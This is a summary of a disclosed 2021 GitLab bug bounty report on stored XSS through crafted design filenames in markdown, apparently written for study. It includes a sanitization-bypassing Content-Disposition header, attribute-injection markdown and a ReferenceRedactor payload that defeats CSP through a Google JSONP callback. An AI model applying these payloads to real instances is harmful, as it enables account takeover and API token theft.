# Stored XSS in markdown via the DesignReferenceFilter 

Design filenames with quotes bypassed workhorse sanitization, breaking out of the href attribute in markdown-rendered design links to achieve stored XSS with CSP bypass.

- Payout: $16,000
- Severity: critical
- Program: GitLab
- Found by: vakzz
- Disclosed: 2021-10-18
- Write-up quality: 9/10
- Original: https://hackerone.com/reports/1212067
- Library page: https://bugbountylibrary.com/r/h1%3A1212067
- Tags: area:web domain:web impact:ato impact:data-leak impact:pii-leak kind:bounty platform:hackerone sev:critical tech:ruby technique:chained technique:source-review vuln:xss

**Target:** GitLab markdown DesignReferenceFilter / design upload endpoint
**Root cause:** Design link_reference_pattern allows any non-slash/whitespace char in url_filename, and AbstractReferenceFilter interpolates the unescaped url into an <a href> string; workhorse sanitization is bypassed via RFC 5987 filename* Content-Disposition.
**Steps:**
1. Create project and issue, start Burp.
2. Upload a design, intercept request, set `Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''bbb%22class%3D%22gfm%22a%3D%27.png` to bypass workhorse sanitization.
3. Refresh; design named `bbb"class="gfm"a='.png` exists.
4. Post markdown linking the design with inner HTML containing a quote: `<a href='.../designs/bbb%22...png'>' data-design="1" data-issue="1" data-reference-type="design" data-original="&lt;script src='https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout'>&lt;/script>">`.
5. Save and reload; ReferenceRedactor replaces node with data-original HTML, executing JS via google jsonp callback to bypass CSP.
**How found:** Read the design link_reference_pattern and noticed valid_char permits quotes; traced parse_symbol to AbstractReferenceFilter string interpolation of url into href; hypothesized a quote in filename breaks out; realized workhorse sanitizes uploads but RFC 5987 filename* Content-Disposition skips it; then chained ReferenceRedactor data-original for HTML injection and google jsonp for CSP bypass.
**Exploitation:** Attacker uploads a design with a crafted filename containing quotes/attributes, then posts markdown referencing it with injected data-* attributes and a data-original payload. On render, the unescaped url breaks out of href, injected attributes trigger ReferenceRedactor, which emits the data-original HTML; a googleapis jsonp endpoint with callback=setTimeout executes arbitrary JS despite CSP. Stored XSS runs in any markdown context, enabling API token exfiltration.
**Escalation:** Chained attribute injection with ReferenceRedactor data-original replacement and googleapis jsonp callback to bypass CSP, escalating to full token theft.
**Insight:** When a regex allows 'any char except X', check downstream string interpolation into HTML attributes; also test RFC 5987 filename* Content-Disposition to bypass upload sanitizers that only handle plain filename.

## Proof of concept (copied exactly from the original report)

**Malicious Content-Disposition filename upload header**

```
Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''bbb%22class%3D%22gfm%22a%3D%27.png
```

**Markdown design link injecting attributes**

```
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' vakzz=here
</a>
```

**ReferenceRedactor data-original XSS payload**

```
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' data-design="1" data-issue="1" data-reference-type="design" data-original="
  &lt;script src='https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout'>&lt;/script>
"
</a>
```

